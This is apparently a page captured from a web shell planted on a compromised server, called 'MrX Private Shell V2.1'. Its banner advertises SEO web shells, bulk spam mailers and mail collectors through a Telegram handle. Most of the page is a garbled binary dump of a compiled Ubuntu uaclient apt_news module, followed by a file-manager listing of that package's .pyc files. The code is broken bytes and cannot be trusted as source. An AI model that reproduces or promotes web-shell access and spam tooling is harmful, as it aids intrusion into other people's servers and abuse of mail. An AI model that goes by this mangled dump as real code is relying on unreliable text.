__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�!��X�SSKrSSKrSSKrSSKrSSKrSSKrSSKJrJr SSK	r	SSK
JrJrJ
r
Jr SSKJrJr SSKJrJrJr SSKJr SSKJr SSKJrJrJrJrJrJ r  SS	K!J"r"J#r#J$r$ \RJ"\RL"\'55r("S
S\5r)"SS
\5r*Sr+S\S\\)S\,4Sjr-S\RS\\RS\,4Sjr.S\/S\,4Sjr0S\*S\,4Sjr1S\S\\2S\\*4Sjr3\S\4Sj5r4S\S\\/4Sjr5S\S\\/4Sjr6S\/S\/4S jr7S\4S!jr8g)"�N)�List�Optional)�defaults�messages�system�util)�ContractExpiryStatus�_is_attached)�ensure_apt_pkg_init�get_pkg_version�version_compare)�get_cloud_type)�UAConfig)�
BoolDataValue�
DataObject�DatetimeDataValue�Field�StringDataValue�	data_list)�
machine_token�notices�state_filesc��\rSrSr\"S\"\5SS9\"S\"\5SS9\"S\SS9\"S\"\5SS9\"S\"\"\55SS9/rS	S	S	S	S	S
.S\	\
\S\	\
\S\	\S\	\
\S\	\
\
\4
Sjjr
Srg	)
�AptNewsMessageSelectors� �	codenamesF��required�clouds�pro�
architectures�packagesN�rrr r!r"c�@�XlX lX0lX@lXPlg�Nr#)�selfrrr r!r"s      �3/usr/lib/python3/dist-packages/uaclient/apt_news.py�__init__� AptNewsMessageSelectors.__init__+s��#������*�� �
�)r!rrr"r )�__name__�
__module__�__qualname__�__firstlineno__rrrr�fieldsrr�str�boolr(�__static_attributes__�r*r'rr s���
�k�9�_�5��F�
�h�	�/�2�U�C�
�e�]�U�3�
�o�y��9�E�J�
��	�)�O�"<�=��	
��F�*.�&*�"�-1�.2�
!��D��I�&�
!���c��#�	
!�
�d�^�
!� ��S�	�*�

!��4��S�	�?�+�
!�
!r*rc
��\rSrSr\"S\5\"S\SS9\"S\SS9\"S\"\55/r	SSS	.S\
RS\\
RS\\S\\
4S
jjrSrg)�AptNewsMessage�;�begin�endFr�	selectors�linesN)r8r9c�4�XlX lX0lX@lgr%)r7r8r9r:)r&r7r8r9r:s     r'r(�AptNewsMessage.__init__Cs���
���"���
r*)r7r8r:r9)r+r,r-r.rrrrrr/�datetimerrr0r(r2r3r*r'r5r5;s���
�g�(�)�
�e�&��7�
�k�2�U�C�
�g�y��1�2�	�F�,0�7;��� � ���h�'�'�
(�	�
�3�4���C�y�
�r*r5c��Uupn[U5nUcg[	XC5n[US:H=(a US;US:=(a US;US:�=(a US;/5$![a [RSU5 gf=f)NzInvalid package selector: %rFr)z==�<=�>=)�<r?)�>r@)�
ValueError�LOG�warningrr
�any)�package_selector�package_name�version_operator�package_version�installed_package_version�version_comparisons      r'�_does_package_selector_applyrMQs����:J�7���!0�� =�� �(��(�!����#�a�'�;�$�(:�:�
�!�
#�
G�(8�K�(G�
�!�
#�
G�(8�K�(G�
	
�	�	�������2�4D�E���s�A� A?�>A?�cfgr9�returnc�.�UcgURb.[R"5RUR;agURb [5up#UbgX!R;agURb$UR[U5R:wagURb$[R"5UR;agURb5[URVs/sHn[U5PM sn5(dggs snf)NTF)rr�get_release_info�seriesrrr r
�is_attachedr!�
get_dpkg_archr"rFrM)rNr9�cloud_id�failrGs     r'�do_selectors_applyrWis��������&��"�"�$�+�+�9�3F�3F�F�����#�'�)�������+�+�+���}�}� ��=�=�L��-�9�9�9�����*����!��)@�)@�@�����%��)2�(:�(:�
�(:�$�-�-=�>�(:�
�
�
����
s�/Dr7r8c���[RR[RR5nX :agU[R"SS9-nUbX:�aUnOUnX$:�agg)NF�)�daysT)r=�now�timezone�utc�	timedelta)r7r8r[�one_month_after_begin�
end_to_uses     r'�do_dates_applyra�sd���
�
�
�
�� 1� 1� 5� 5�
6�C�
�{��!�H�$6�$6�B�$?�?��
�{�c�1�*�
��
�
���r*�cc�:�[R"U5SS:H$)Nr�C)�unicodedata�category)rbs r'�is_control_charrg�s������"�1�%��,�,r*�msgc	��[UR5S:ag[UR5S:�agURH@n[UVs/sHn[U5PM sn5(a g[U5S:�dM@ g gs snf)N�F��MT)�lenr:rFrg)rh�linerbs   r'�is_message_validro�sp��
�3�9�9�~����
�3�9�9�~�����	�	���D�1�D�q���"�D�1�2�2���t�9�r�>��	���2s�
B
rc���UH�n[RU5n[U5(d[R	SU5 MA[
URUR5(d[R	SU5 M~[XR5(d[R	SU5 M�Us $ g![a!n[R	SU5 SnAM�SnAff=f)Nzmsg failed parsing: %rzmsg not valid: %rzmsg dates don't apply: %rzmsg selectors don't apply: %r)r5�	from_dict�	ExceptionrD�debugrorar7r8rWr9)rNr�msg_dictrh�es     r'�select_messagerv�s�����	� �*�*�8�4�C� ��$�$��I�I�)�3�/���c�i�i����1�1��I�I�1�3�7��!�#�}�}�5�5��I�I�5�s�;���
�� ���	��I�I�.��2���	�s�B:�:
C%�C � C%c��[R"[RSS9 [R
"[RSS9 [R"5n[R"XRS[RS9nUR5 [R"UR5n[R"U[ R"S9$)NT)�exist_ok�_apt)�user�)�hash�destdir)�cls)�os�makedirsr�
APT_NEWS_PATH�shutil�chown�apt_pkg�Acquire�AcquireFile�apt_news_url�runr�	load_file�destfile�json�loadsr�DatetimeAwareJSONDecoder)rN�acq�
apt_news_file�apt_news_contentss    r'�fetch_aptnews_jsonr��s����K�K��&�&��6�
�L�L��'�'�f�5�
�/�/�
�C��'�'��
�
�B��0F�0F��M��G�G�I��(�(��)?�)?�@���:�:���)�)��r*c��[U5n[XRS/55n[R	SU5 UbSRUR5$g)Nrz
using msg: %r�
)r�rv�getrDrs�joinr:)rN�	news_dictrhs   r'�fetch_and_process_apt_newsr��sJ��"�3�'�I�
��m�m�J��;�
<�C��I�I�o�s�#�
���y�y����#�#�r*c��[U5nURnURn[R"U5nU[
RR:Xa>[R"[RR5 [R$[R"[RR5 U[
RR:Xa,[RR!U5R#US9$U[
R$R:Xab[&R(U-nUR*nUcSnOUR-S5n[R.R!U5R#XuS9$g)z,
:return: str if local news, None otherwise
)�remaining_daysN�Unknownz%d %b %Y)�expired_dater�)r
�contract_status�contract_remaining_daysr�get_machine_token_filer	�EXPIRED�valuer�add�Notice�CONTRACT_EXPIREDr�remove�ACTIVE_EXPIRED_SOON�CONTRACT_EXPIRES_SOON�	pluralize�format�EXPIRED_GRACE_PERIODr�!CONTRACT_EXPIRY_GRACE_PERIOD_DAYS�contract_expiry_datetime�strftime�CONTRACT_EXPIRED_GRACE_PERIOD)rN�is_attached_info�
expiry_statusr��machine_token_file�grace_period_remaining�exp_dt�
exp_dt_strs        r'�local_apt_newsr��sG��$�C�(��$�4�4�M�%�=�=�N�&�=�=�c�B���,�4�4�:�:�:����G�N�N�3�3�4��(�(�(��N�N�7�>�>�2�2�3��,�@�@�F�F�F��-�-�7�7��G�N�N�)�O�
�	
��,�A�A�G�G�G��6�6��G�	�$�<�<���>�"�J�����4�J��5�5�?�?��
�
�&�#��
�	
�r*�newsc�l�SnURS5HnUSRU5-
nM US-
nU$)Nz#
r�z# {}
)�splitr�)r��resultrns   r'�format_news_for_apt_updater�	s;��
�F��
�
�4� ���(�/�/�$�'�'��!�
�e�O�F��Mr*c�,�[U5nU(d[U5nU(aJ[RR	U5 [U5n[RR	U5 g[RR5 [RR5 g![a\n[RSU5 [RR5 [RR5 SnAgSnAff=f)Nz2something went wrong while processing apt_news: %r)r�r�r�apt_news_raw_file�writer��apt_news_contents_file�deleterrrDrs)rNr��apt_update_formatted_newsrus    r'�update_apt_newsr�s���/��c�"���-�c�2�D���)�)�/�/��5�(B�4�(H�%��.�.�4�4�5N�O��.�.�5�5�7��)�)�0�0�2���/��	�	�F��J��*�*�1�1�3��%�%�,�,�.�.��/�s�A-B-�0<B-�-
D�7AD�D)9r=r��loggingrr�re�typingrrr��uaclientrrrr�(uaclient.api.u.pro.status.is_attached.v1r	r
�uaclient.aptrrr
�uaclient.clouds.identityr�uaclient.configr�uaclient.data_typesrrrrrr�uaclient.filesrrr�	getLogger�replace_top_level_logger_namer+rDrr5rMr1rWrar0rgro�dictrvr�r�r�r�r�r3r*r'�<module>r�s������	�
��!��5�5��O�N�3�$���?�>�
����:�:�8�D�E��!�j�!�6�Z��,�0"�	�"�&�'>�?�"�	�"�J�����#+�H�,=�,=�#>��	��$-�s�-�t�-��.��T���	��!�$�Z��
�n���,�
�H�
��
� �H���#���#��#�X�c�]�#�L�S��S��/��/r*

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager